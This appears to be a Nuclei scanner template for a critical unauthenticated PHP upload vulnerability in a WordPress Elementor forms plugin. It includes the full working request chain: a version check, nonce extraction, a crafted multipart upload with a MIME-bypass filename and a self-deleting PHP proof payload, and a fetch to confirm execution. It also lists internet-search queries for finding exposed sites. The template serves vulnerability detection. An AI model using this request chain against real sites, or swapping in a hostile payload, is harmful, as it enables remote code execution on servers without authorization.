Copy
id: CVE-2026-18351
info:
name: Drag and Drop File Upload for Elementor Forms <= 1.6.0 - Unauthenticated PHP File Upload
author: theamanrawat
severity: critical
description: |
Drag and Drop File Upload for Elementor Forms through 1.6.0 accepts a crafted type value and PHP filename through the unauthenticated elementor_file_upload AJAX action; a binary-prefixed payload can pass WordPress MIME validation and be saved as an executable .php file.
impact: |
An unauthenticated attacker can upload and execute PHP code when the upload handler is exposed and the web server executes PHP in the upload directory.
remediation: |
Upgrade Drag and Drop File Upload for Elementor Forms to 1.6.1 or later, remove unexpected PHP files from wp-content/uploads/elementor/forms/temp/, and prevent PHP execution in upload directories.
reference:
- https://www.wordfence.com/threat-intel/vulnerabilities/id/03e853be-510f-4957-a227-17ca9f825b12
- https://plugins.svn.wordpress.org/drag-and-drop-file-upload-for-elementor-forms/tags/1.6.0/fields/file_upload.php
- https://plugins.svn.wordpress.org/drag-and-drop-file-upload-for-elementor-forms/tags/1.6.1/fields/file_upload.php
- https://nvd.nist.gov/vuln/detail/CVE-2026-18351
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2026-18351
epss-score: 0.03943
epss-percentile: 0.91187
cwe-id: CWE-434
metadata:
verified: true
max-request: 4
vendor: addonsorg
product: drag-and-drop-file-upload-for-elementor-forms
shodan-query: 'http.html:"drag-and-drop-file-upload-for-elementor-forms"'
fofa-query: 'body="drag-and-drop-file-upload-for-elementor-forms"'
publicwww-query: '"/wp-content/plugins/drag-and-drop-file-upload-for-elementor-forms"'
tags: cve,cve2026,wordpress,wp-plugin,file-upload,rce,unauth,elementor,intrusive,vkev
flow: http(1) && http(2) && http(3) && http(4)
http:
- method: GET
path:
- "{{BaseURL}}/wp-content/plugins/drag-and-drop-file-upload-for-elementor-forms/readme.txt"
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains(tolower(body), "drag and drop file upload for elementor forms")'
- 'regex("(?im)^stable tag:\\s*(?:0\\.[0-9]+(?:\\.[0-9]+)?|1\\.[0-5]\\.[0-9]+|1\\.6\\.0)\\s*$", body)'
condition: and
internal: true
- method: GET
path:
- "{{BaseURL}}/"
matchers:
- type: regex
part: body
regex:
- 'elementor_file_upload\s*=\s*\{\s*"nonce":"[a-f0-9]{10}"'
internal: true
extractors:
- type: regex
name: upload_nonce
part: body
regex:
- 'elementor_file_upload\s*=\s*\{\s*"nonce":"([a-f0-9]{10})"'
group: 1
internal: true
- raw:
- |
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: {{Hostname}}
Content-Type: multipart/form-data; boundary=----NucleiCVE202618351
Accept: application/json
------NucleiCVE202618351
Content-Disposition: form-data; name="action"
elementor_file_upload
------NucleiCVE202618351
Content-Disposition: form-data; name="nonce"
{{upload_nonce}}
------NucleiCVE202618351
Content-Disposition: form-data; name="type"
php[?]
------NucleiCVE202618351
Content-Disposition: form-data; name="size"
4096
------NucleiCVE202618351
Content-Disposition: form-data; name="file"; filename="{{randstr}}.php?"
Content-Type: application/octet-stream
{{hex_decode("00")}}<?php echo hash('sha256', 'CVE-2026-18351'); unlink(__FILE__); ?>
------NucleiCVE202618351--
matchers-condition: and
matchers:
- type: word
part: body
words:
- '"status":"ok"'
internal: true
- type: regex
part: body
regex:
- '[a-zA-Z0-9]+\.php'
internal: true
extractors:
- type: regex
name: uploaded_filename
part: body
regex:
- '([a-zA-Z0-9]+\.php)'
group: 1
internal: true
- method: GET
path:
- "{{BaseURL}}/wp-content/uploads/elementor/forms/temp/{{uploaded_filename}}"
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains(body, "79c478a9a394e18ff1ea5c0baec964e9f353b1a9df1b8abf2935b15dda651bbb")'
condition: and
# digest: 4a0a00473045022100a2a3e8ba65ed45303e1739f61e696add0554f4201ed9b608a0b355f5f828f3a202201cc4b1f00571ce0883c68065205d7b707e5ca679e1f1dd21b415df71fed45774:922c64590222798bb761d5b6d8e72950
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.